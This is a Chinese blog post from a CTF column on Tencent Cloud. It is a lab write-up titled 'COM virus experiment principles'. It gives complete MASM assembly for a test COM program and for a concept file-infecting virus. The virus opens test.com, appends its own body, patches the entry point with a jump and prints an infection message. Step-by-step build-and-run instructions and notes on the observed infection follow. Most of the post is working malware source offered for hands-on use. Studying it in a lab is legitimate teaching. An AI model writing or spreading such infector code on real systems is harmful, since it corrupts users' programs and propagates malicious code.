前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >COM病毒实验原理

COM病毒实验原理

作者头像
用户8909609
发布2023-11-20 08:29:55
1690
发布2023-11-20 08:29:55
举报
文章被收录于专栏:BM CTFBM CTF

0×01 实验内容

代码语言:javascript
复制
编译生成com病毒,用com病毒对测试文件进行感染。

0×02 实验目的

代码语言:javascript
复制
了解COM病毒的原理,掌握COM病毒的分析及其修改过程。

0×03 实验原理

代码语言:javascript
复制
COM文件是一种单段执行结构的文件,其执行文件代码和执行时内存映像完全相同,起始执行偏移地址为100H,对应于文件的偏移00H(文件头)。

0×04 实验步骤

进入目录C:\tools\asm20125目录 双击“setup”运行MASM的安装程序 按安装提示点击“下一步”执行安装程序 进入如教材图7所示,点击“安装”,即可安装MASM 此时在桌面生成了MASM的快捷方式 MASM的运行界面

将代码窗口中的代码删除,并粘贴如下代码:

代码语言:javascript
复制
program segment
assume cs:program,ds:program,ss:program,es:program
org 0100h
MOV AX,SEG MESSAGE
MOV DS,AX
MOV DX,offset message
MOV AH,09h
INT 21h
MOV AH,4Ch
INT 21h
RET
message db "This a simple com program for a test",0dh,0ah,'$'
program ends
END

点击菜单栏的“保存”,将文件命名为test.asm并保存在名为test的文件夹中 点击运行,运行test.asm

test.asm的正常运行界面 点击新建,在新建工程的代码窗口中删除原有代码,并粘贴如下代码:

代码语言:javascript
复制
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG,ES:CSEG
   org 0100h
start:
NOP
NOP
NOP
NOP
CALL main
MOV AX,04c00h
INT 21h
RET
main PROC NEAR
mainstart:CALL vstart
vstart:
POP SI
MOV BP,SI
ADD SI,OFFSET yuan4byte-OFFSET vstart
MOV AX,0100H
MOV DI,AX
MOV AX,DS:[SI]
MOV AX,CS
MOV DS,AX
MOV DS:[DI],AX
INC SI
INC SI
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX
MOV SI,BP
MOV DX,OFFSET filename-OFFSET vstart
ADD DX,SI
MOV AL,02
MOV AH,3dh
INT 21h
JC error
MOV BX,AX
MOV DX,OFFSET yuan4byte-OFFSET vstart
ADD DX,SI
MOV CX,4
MOV AH,3Fh
INT 21h
MOV AX,04202h
XOR CX,CX
XOR DX,DX
INT 21h
MOV DI,OFFSET new4byte-OFFSET vstart
ADD DI,2
ADD DI,SI
SUB AX,4
MOV DS:[DI],AX
ADD SI,OFFSET mainstart-OFFSET vstart
MOV DX,SI
MOV CX,OFFSET vends-OFFSET mainstart
MOV AH,40h
INT 21h
MOV SI,BP
MOV AL,0
XOR CX,CX
XOR DX,DX
MOV AH,42h
INT 21h
MOV AH,40h
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h
MOV AH,3Eh
INT 21h

MOV SI,BP
ADD SI,OFFSET sz_message-OFFSET vstart
MOV DX,SI
MOV AH,09h
INT 21h


JMP error
jmp MEND
DEC BP
error:
MOV CX,DS:WORD PTR[BP+OFFSET vflag-OFFSET vstart]
CMP CX,0
JE MEND

MOV AX,100h
PUSH AX
RET
MEND:
MOV DS:BYTE PTR [BP+OFFSET vflag-OFFSET vstart],1
MOV AX,100h
PUSH AX
RET
main ENDP
yuan4byte:RET
DB 3 DUP(?)
vflag DW 0
new4byte DB 'M','0e9h',0,0
filename DB "test.com",0
sz_message DB "You are infected by a concept com virus",0dh,0ah,'$'
vends:
CSEG ENDS
 END

将代码保存为virus.asm,并通test.asm一样保存在test文件夹中, 点击使之运行,可出现如教材图17所示界面,并在test文件夹中生成了virus的可执行程序

双击virus.exe使之运行,在没有test.com文件的情况下 将test文件夹中的test.asm文件改名为test.com文件 运行virus.exe,如教材图21所示,则可发现病毒正感染test.com文件

0×05 实验笔记

打开MASM程序将界面代码删除,粘贴第一段DOS汇编语言代码,保存为test.asm并保存至test文件夹中,点击运行此程序,发现是窗口 按回车即可退出此程序。

接着将第一段代码删除,粘贴第二段代码,保存为virus.asm文件并保存到test文件夹中。

打开test文件夹,发现已经自动生成了virus的exe、lst、obj三种格式文件。 双击virus.exe文件使之运行,发现是空白窗口,将test.asm文件修改为test.com文件,再次运行virus.exe文件

弹出窗口: You are infected by a concept com virus 并且一直循环 这段话意思是: 你被一种概念com通讯病毒感染了 达到一定时间就开始全窗口出现😊表情

用到的工具MASM

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-11-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0×01 实验内容
  • 0×02 实验目的
  • 0×03 实验原理
  • 0×04 实验步骤
  • 0×05 实验笔记
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档